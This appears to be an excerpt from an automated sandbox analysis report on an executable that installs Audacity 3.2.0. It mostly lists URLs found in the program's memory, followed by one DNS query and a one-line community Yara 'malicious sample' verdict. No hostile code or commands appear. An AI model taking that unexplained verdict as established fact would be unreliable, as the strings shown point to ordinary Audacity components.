Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#idleInterface
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#makeResident
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#noUserResize
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#noUserResizehttp://lv2plug.in/ns/extensions/ui#fixedSizehttp://lv
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#parent
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#portMap
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#portMaphttp://lv2plug.in/ns/extensions/ui#portSubscribehttp://lv2
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#portSubscribe
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#resize
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#resizehttp://lv2plug.in/ns/ext/data-accesshttp://kxstudio.sf.net/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#showInterface
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#touch
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/ui#ui
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/extensions/units#unit
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#AudioPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#CVPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#ControlPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#InputPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#InstrumentPlugin
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#MIDIPlugin
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#OutputPort
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#Plugin
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#Specification
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#appliesTo
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#binary
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#control
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#default
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#designation
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#enumeration
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#extensionData
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#index
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#integer
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#latency
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#maximum
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#microVersion
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#minimum
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#minorVersion
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#name
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#optionalFeature
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#port
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#portProperty
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#project
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#projecthttp://usefulinc.com/ns/doap#maintainerhttp://xmlns.com/foaf/0.1
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#prototype
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#reportsLatency
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#requiredFeature
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#sampleRate
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#scalePoint
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#scalePointLANGPOSIXlilv_get_lang%s():
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#symbol
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://lv2plug.in/ns/lv2core#toggled
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://manual.audacityteam.org/o/man/faq_about_audacity.html#free
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.516262389.000000000018C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://sbsms.sourceforge.net/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://usefulinc.com/ns/doap#
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://usefulinc.com/ns/doap#doaphttp://xmlns.com/foaf/0.1/foafhttp://lv2plug.in/ns/lv2core#lv2http:
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://usefulinc.com/ns/doap#maintainer
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://usefulinc.com/ns/doap#name
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://wiki.audacityteam.org/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/licenses.html
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.haysoft.org%1-k
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.mega-nerd.com/libsndfile/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.portaudio.com/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.portmedia.sourceforge.net/portmidi/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.twolame.org
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.twolame.org/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.vamp-plugins.org/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://xmlns.com/foaf/0.1/
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://xmlns.com/foaf/0.1/homepage
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://xmlns.com/foaf/0.1/mbox
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://xmlns.com/foaf/0.1/name
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://audacityteam.org/3.2.0-video
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audacityteam.org/errors
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audacityteam.org/errorshereWould
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audio.com
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audio.com/%s/%s
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audio.com/%s/%sWe
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://audio.comaudio.com%%&Unlink
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.530240715.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by/3.0/legalcode
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.530240715.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.gg/N3XKxzTrq3
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://forum.audacityteam.org/
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://forum.audacityteam.org/.
Source: Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://forum.audacityteam.org/dWh//
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://forum.audacityteam.org/viewforum.php?f=19
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://forum.audacityteam.org/viewforum.php?f=25
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/audacity/audacity/commit/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/audacity/audacity/commit/Commit
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/audacity/audacity/pulls
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/audacity/audacity/releases
Source: WsiysHggF9.exe, 00000000.00000003.251361915.0000000007204000.00000004.00000800.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000000.294843187.0000000000401000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://libexpat.github.io/
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://manual.audacityteam.org/
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://manual.audacityteam.org/man/faq_opening_and_saving_files.html#foreign
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://manual.audacityteam.org/man/faq_opening_and_saving_files.html#fromcd
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://manual.audacityteam.org/man/playing_and_recording.html#midi
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://manual.audacityteam.org/man/unzipping_the_manual.html
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://manual.audacityteam.org/quick_help.html
Source: Audacity.exe, 00000010.00000002.544110808.000001241D08B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://manual.audacityteam.org/quick_help.htmlQ
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://manual.audacityteam.org/view
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://plugins.audacityteam.org/
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://plugins.audacityteam.org/No
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://quick_helphttp%..
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.329484659.00000000025AA000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.336259617.000000007FE76000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp, Audacity.exe, 00000010.00000002.574237066.00007FF60E49E000.00000004.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sentry.audacityteam.org/api/2/minidump/?sentry_key=37e6948db02f43ac856bf7edcbe9731d
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sentry.audacityteam.org/api/2/minidump/?sentry_key=37e6948db02f43ac856bf7edcbe9731dversionse
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sourceforge.net/p/portmedia/wiki/portsmf/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sourceforge.net/p/soxr/wiki/Home/
Source: Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://updates.audacityteam.org/feed/latest.xml
Source: Audacity.exe, 00000010.00000002.544979137.000001241D121000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wiki.audacityteam.org/index.php
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.audacityteam.org/wiki/EQCurvesDownloadEQBackup.xml
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wiki.audacityteam.org/wiki/User:Galeandrews
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/
Source: Audacity.exe, 00000010.00000002.539185569.000001241CA8C000.00000004.00000001.00020000.00000000.sdmp, Audacity.exe, 00000010.00000002.532462677.000001241A7A0000.00000002.00000001.00040000.00000000.sdmp, Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp, Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/about/desktop-privacy-notice/
Source: Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.audacityteam.org/about/desktop-privacy-notice/iant;Z/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/about/desktop-privacy-notice/our
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/download/?(argtype
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.audacityteam.org/download/source
Source: Audacity.exe, 00000010.00000002.537474178.000001241C94E000.00000004.00000001.00020000.00000000.sdmp, Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/realtime-video
Source: Audacity.exe, 00000010.00000002.571189245.00007FF60DFE2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/realtime-videoWatch
Source: Audacity.exe, 00000010.00000000.507856498.00007FF60DF90000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.org/wiki/index.php?title=file:
Source: Audacity.exe, 00000010.00000002.571515772.00007FF60E079000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.audacityteam.orgDon
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.cs.cmu.edu/~music/nyquist/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gnu.org/licenses/gpl-3.0.en.html
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000002.517966675.0000000002150000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.303356414.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000002.530240715.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000003.344545902.00000000035A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.327687716.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.330943901.000000007FB80000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000000.337507251.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: audacity-win-3.2.0-64bit.exe, 0000000A.00000003.327687716.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.exe, 0000000A.00000003.330943901.000000007FB80000.00000004.00001000.00020000.00000000.sdmp, audacity-win-3.2.0-64bit.tmp, 0000000B.00000000.337507251.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.remobjects.com/ps
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.surina.net/soundtouch/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.underbit.com/products/mad/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://wxwidgets.org/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://xiph.org/flac/
Source: Audacity.exe, 00000010.00000000.506712370.00007FF60DF0E000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://xiph.org/vorbis/

Source: unknown

DNS traffic detected: queries for: updates.audacityteam.org

System Summary

Malicious sample detected (through community Yara rule)

